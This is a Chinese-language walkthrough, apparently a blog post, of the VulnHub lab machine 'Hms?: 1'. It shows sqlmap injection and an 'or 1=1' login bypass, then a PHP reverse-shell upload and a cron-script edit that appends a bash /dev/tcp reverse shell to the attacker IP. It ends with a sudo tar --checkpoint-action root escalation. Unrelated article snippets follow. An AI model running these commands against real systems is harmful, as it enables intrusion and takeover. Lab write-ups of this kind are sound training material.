当前位置: 首页 > news >正文

Hms?: 1渗透测试

靶机:Hms?: 1 Hms?: 1 ~ VulnHub

攻击机:kail linux 2024

主机扫描阶段发现不了靶机,所以需要按DriftingBlues2一样手动配置网卡

1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址

2,攻击机上做主机扫描发现靶机

攻击机IP地址192.168.23.128,靶机IP地址192.168.23.144

3,扫描靶机端口服务

nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.23.144

-T<0-5>:时间模板,越大速度越快

-sV:探测开放的端口的系统/服务信息

-p:指定端口扫描范围

开启了如下服务

21/tcp   open  ftp     vsftpd 3.0.3

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

7080/tcp open  http    Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)

4,访问web页面192.168.23.144:7080

存在一个登录页面

5,检查HTML静态页面,可能存在SQL注入漏洞

使用sqlmap进行注入

sqlmap -o -u "http://192.168.23.144:7080/login.php" --batch -forms --level=3 --risk=3

上面输出说明[email]存在[万能密码登录]样式为[or 1=1],再爆破出数据库名

 sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" --dbs

使用数据库clinic_db爆出表名

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D clinic_db --tables

最后爆出root用户的信息

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D phpmyadmin --dump-all

root     | 2021-07-25 22:05:10 | {"Console\\/Mode":"collapse","NavigationWidth":0}

6,使用万能密码进行登录

登录前删除type=email标签,否则无法输入万能密码

7,查看网页源码发现文件上传地址

发现setting.php,右下角可对文件进行上传

8,在指定位置上传反弹shell的php文件

 

Cheat Sheets | pentestmonkey,下载需要的攻击语句

9,上传成功之后再访问文件所在的目录

192.168.23.144:7080/uploadImage/Logo/2.php

同时开启端口监听 nc -lvnp 1234

10,获得终端shell,并运行python命令获得可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

11,查看权限三件套,当前权限太低

12,提权的思路是,寻找可执行的二进制文件

find / -perm -4000 -type f 2>/dev/null

发现/usr/bin/bash可执行,可以切换到用户eren

/usr/bin/bash -p

13,用户无法查看可执行文件,查看一下定时任务 cat /etc/crontab

发现backup.sh每5分钟运行一次

利用定时任务来反弹shell,提取权限,将bash命令写入backup.sh

echo "bash -i >& /dev/tcp/192.168.23.128/1235 0>&1" >> /home/eren/backup.sh

与此同时靶机开启端口监听,nc -lvp 1235

定时任务执行之后,在攻击机上就获得了靶机的shell                                                                                                                       

14,提权操作,查看一下有没有sudo权限 sudo -l,

用户eren在主机nivek上通过sudo -l命令查看得到具有特定权限:可以使用sudo以root身份无密码(NOPASSWD)执行/bin/tar命令。这是一个比较有限的权限授予情况

提权原理:tar 命令通常用于压缩和解压缩文件。在某些情况下,tar 命令可以利用 --checkpoint-action 选项来执行系统命令,从而实现提权。

使用 tar 命令执行恶意脚本:利用 sudo 权限运行 tar 命令,并使用 --checkpoint-action 选项来执行恶意脚本。

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

可以看到执行命令后提权成功,获得flag

成功得到flag

知识点: 利用tar命令提权

思路阐述:由于tar命令在一些情况下如果被不当使用可能会导致提权。例如,如果目标系统存在可被利用的文件包含漏洞或者配置不当的情况。如果能够利用tar命令在提取文件时覆盖关键系统文件(如/etc/passwd等),就有可能达到

主机扫描发现靶机——扫描靶机端口——靶机指定7080端口提供web服务——登录页面存在SQL注入漏洞,弱密码登录——上传反弹shell文件——进入php文件路径,从而获得shell——二进制文件切换用户eren——将发帖shell的bash脚本写入定时任务——定时任务更新,且靶机监听到反弹shell,成功获得终端——利用sudo命令+tar命令漏洞,成功提权成为root用户

相关文章:

Hms?: 1渗透测试

靶机&#xff1a;Hms?: 1 Hms?: 1 ~ VulnHub 攻击机&#xff1a;kail linux 2024 主机扫描阶段发现不了靶机&#xff0c;所以需要按DriftingBlues2一样手动配置网卡 1,将两台虚拟机网络连接都改为NAT模式&#xff0c;并查看靶机的MAC地址 2&#xff0c;攻击机上做主机扫描发现…...

1、Qt6 Quick 简介

一、Qt6 Quick 简介 1、Qt Quick简介 Qt Quick 是 Qt 6 中使用的用户界面技术的总称。它是在 Qt 4 中引入的&#xff0c;现在在 Qt 6 中进行了扩展。Qt Quick 本身是几种技术的集合&#xff1a; QML——用户界面标记语言JavaScript - 动态脚本语言Qt C - 高度可移植的增强型…...

大模型论文集-20241103

Investigating the catastrophic forgetting in multimodal large language models 研究问题 本文探讨了多模态大型语言模型&#xff08;MLLMs&#xff09;在学习新任务时的灾难性遗忘现象。研究者关注于在添加新数据集后&#xff0c;模型是否能够保留之前学到的知识而不忘记…...

GESP4级考试语法知识(计数排序-桶排序)

整数排列参考程序代码&#xff1a; #include<iostream> #include<cstring> using namespace std; int main() {int a[101],n,i,j,k;memset(a,0,sizeof(a)); //数组清0cin>>n; //输入数字个数for(i1;i<n;i) {cin>>k; //输…...

红队-shodan搜索引擎篇

如涉及侵权马上删除文章 笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 一.shodan原理与功能的介绍 Shodan Search Engine 它是专门搜网络设备的,只要联网的,只要有IP地址的都可以称为网络设备 1.shodan&#x…...

SQL 数据结构查询

1&#xff1a;查询变得结构。 SELECT COLID,SO.NAME,EP.VALUE,SO.LENGTH,MIN(ST.NAME) AS TYPE FROM SYS.EXTENDED_PROPERTIES EP RIGHT JOIN SYS.SYSCOLUMNS SO ON MAJOR_IDID AND COLIDMINOR_ID LEFT JOIN SYS.SYSTYPES ST ON ST.XTYPESO…...

《高频电子线路》—— 角度调制(调相、调频)

文章内容来源于【中国大学MOOC 华中科技大学通信&#xff08;高频&#xff09;电子线路精品公开课】&#xff0c;此篇文章仅作为笔记分享。 目录 角度调制&#xff08;调相、调频&#xff09; 角度调制的原因 调频VS调幅 角度调制的分类 本章重难点 调相 时域&#xff0…...

危机来临前---- 力扣: 876

危机即将来临 – 链表的中间节点 描述&#xff1a; 给你单链表的头结点 head &#xff0c;请你找出并返回链表的中间结点。如果有两个中间结点&#xff0c;则返回第二个中间结点。 示例&#xff1a; 何解&#xff1f; 1、遍历找到中间节点 &#xff1a; 这个之在回文链表中找…...

langchain调用chatgpt对文本进行编码

1.导包 from langchain_openai import OpenAIEmbeddings2.加载编码器 embeddings_model OpenAIEmbeddings(model"text-embedding-3-large",base_url"https://api.chatanywhere.tech/v1")3.编码 embeded_result embeddings_model.embed_documents([&qu…...

python manage.py

自定义命令python manage.py 文件夹建立&#xff1a;(Python Package)这个形式的包&#xff0c;里面会自动加载__init__.py文件 1.新建management文件夹(文件必须加载在新建APP下&#xff0c;不能建在初始APP下) 2.在里面创建名为&#xff1a;commands的文件夹 3.在其下创建名…...

qt QDoubleSpinBox详解

1、概述 QDoubleSpinBox是Qt框架中的一个控件&#xff0c;专门用于浮点数&#xff08;即小数&#xff09;的输入和调节。它提供了一个用户界面元素&#xff0c;允许用户在预设的范围内通过拖动滑块、点击箭头或使用键盘来递增或递减浮点数值。QDoubleSpinBox通常用于需要精确数…...

RK3229 Android9自定义一个按键实现长按短按

一、kernel修改 --- a/arch/arm/boot/dts/rk3229-evb-android.dtsib/arch/arm/boot/dts/rk3229-evb-android.dtsi-18,26 18,25 };gpio_keys {status "okay";compatible "gpio-keys";#address-cells <1>;#size-cells <0>;autorepeat;pinct…...

A*算法求第k短路

话不多说先上例题。。 acwing&#xff1a;178. 第K短路 给定一张 NN 个点&#xff08;编号 1,2…N1,2…N&#xff09;&#xff0c;MM 条边的有向图&#xff0c;求从起点 SS 到终点 TT 的第 KK 短路的长度&#xff0c;路径允许重复经过点或边。 注意&#xff1a; 每条最短路中至…...

CVPR’25截稿在即:今年的重大新规,你知道吗?

介绍会议&#xff1a; CVPR 2025全称是 IEEE/CVF Conference on Computer Vision and Pattern Recognition&#xff0c;即IEEE/CVF国际计算机视觉与模式识别会议。将于2025年6月11日至15日在美国田纳西州纳什维尔召开&#xff0c;CVPR是计算机视觉和模式识别领域的顶级会议。与…...

一文详解销售管理系统的功能、作用、选型

在当今竞争激烈的商业环境中&#xff0c;企业需要高效的工具来管理销售流程、提升客户关系和优化业务决策。销售管理系统&#xff08;Sales Management System&#xff09;正是这样一种工具&#xff0c;它通过整合客户信息、自动化销售流程和提供数据分析&#xff0c;帮助企业实…...

MySQL上RDS MySQL

初步想法是通过主从复制的方式进行&#xff0c;即ECS上的数据库设为主&#xff0c;RDS为从&#xff0c;等同步完成后&#xff0c;切换为RDS节点。创建实例后发现&#xff0c;RDS实例不支持server-id的自定义配置&#xff0c;这个想法就被否决了。但是aliyun和huaweiyun 都提供了…...

单体架构的 IM 系统设计

先直接抛出业务背景&#xff01; 有一款游戏&#xff0c;日活跃量&#xff08;DAU&#xff09;在两千左右&#xff0c;虽然 DAU 不高&#xff0c;但这两千用户的忠诚度非常高&#xff0c;而且会持续为游戏充值&#xff1b;为了进一步提高用户体验&#xff0c;继续增强用户的忠…...

kafka消费端常见故障及处理方法

文章目录 前言一、消费端某个进程已经crash1. 主要心跳相关配置2. 完整的消费者配置示例3. 调整参数的建议 二、客户端没有crash&#xff0c;但是消费阻塞1. 工作机制2. 示例配置3.运用在代码里3. 配置建议 前言 kafka消费端经常会出现一些故障&#xff0c;一起来分析一下故障…...

【linux 多进程并发】0302 Linux下多进程模型的网络服务器架构设计,实时响应多客户端请求

0302 多进程网络服务器架构 ​专栏内容&#xff1a; postgresql使用入门基础手写数据库toadb并发编程 个人主页&#xff1a;我的主页 管理社区&#xff1a;开源数据库 座右铭&#xff1a;天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物. 一、概…...

LTE及EPC技术原理(笔记)

无线网络发展历史 20世纪80年代&#xff1a;模拟技术和FDMA 20世纪90年代&#xff1a;数字技术和TDMA 21世纪初&#xff1a;数字技术和CDMA LTE进步 下行100Mbps&#xff0c;上行50Mbps 用户面时延10-20ms&#xff0c;控制面时延小于100ms 带宽从1.4MHz~20MHz&#xff0…...

多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度​

一、引言&#xff1a;多云环境的技术复杂性本质​​ 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时&#xff0c;​​基础设施的技术债呈现指数级积累​​。网络连接、身份认证、成本管理这三大核心挑战相互嵌套&#xff1a;跨云网络构建数据…...

C++ 基础特性深度解析

目录 引言 一、命名空间&#xff08;namespace&#xff09; C 中的命名空间​ 与 C 语言的对比​ 二、缺省参数​ C 中的缺省参数​ 与 C 语言的对比​ 三、引用&#xff08;reference&#xff09;​ C 中的引用​ 与 C 语言的对比​ 四、inline&#xff08;内联函数…...

C++八股 —— 单例模式

文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全&#xff08;Thread Safety&#xff09; 线程安全是指在多线程环境下&#xff0c;某个函数、类或代码片段能够被多个线程同时调用时&#xff0c;仍能保证数据的一致性和逻辑的正确性&#xf…...

Springboot社区养老保险系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;社区养老保险系统小程序被用户普遍使用&#xff0c;为方…...

怎么让Comfyui导出的图像不包含工作流信息,

为了数据安全&#xff0c;让Comfyui导出的图像不包含工作流信息&#xff0c;导出的图像就不会拖到comfyui中加载出来工作流。 ComfyUI的目录下node.py 直接移除 pnginfo&#xff08;推荐&#xff09;​​ 在 save_images 方法中&#xff0c;​​删除或注释掉所有与 metadata …...

通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器

拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件&#xff1a; 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...

第一篇:Liunx环境下搭建PaddlePaddle 3.0基础环境(Liunx Centos8.5安装Python3.10+pip3.10)

第一篇&#xff1a;Liunx环境下搭建PaddlePaddle 3.0基础环境&#xff08;Liunx Centos8.5安装Python3.10pip3.10&#xff09; 一&#xff1a;前言二&#xff1a;安装编译依赖二&#xff1a;安装Python3.10三&#xff1a;安装PIP3.10四&#xff1a;安装Paddlepaddle基础框架4.1…...

C++_哈希表

本篇文章是对C学习的哈希表部分的学习分享 相信一定会对你有所帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、基础概念 1. 哈希核心思想&#xff1a; 哈希函数的作用&#xff1a;通过此函数建立一个Key与存储位置之间的映射关系。理想目标&#xff1a;实现…...

快速排序算法改进:随机快排-荷兰国旗划分详解

随机快速排序-荷兰国旗划分算法详解 一、基础知识回顾1.1 快速排序简介1.2 荷兰国旗问题 二、随机快排 - 荷兰国旗划分原理2.1 随机化枢轴选择2.2 荷兰国旗划分过程2.3 结合随机快排与荷兰国旗划分 三、代码实现3.1 Python实现3.2 Java实现3.3 C实现 四、性能分析4.1 时间复杂度…...

【HarmonyOS 5】鸿蒙中Stage模型与FA模型详解

一、前言 在HarmonyOS 5的应用开发模型中&#xff0c;featureAbility是旧版FA模型&#xff08;Feature Ability&#xff09;的用法&#xff0c;Stage模型已采用全新的应用架构&#xff0c;推荐使用组件化的上下文获取方式&#xff0c;而非依赖featureAbility。 FA大概是API7之…...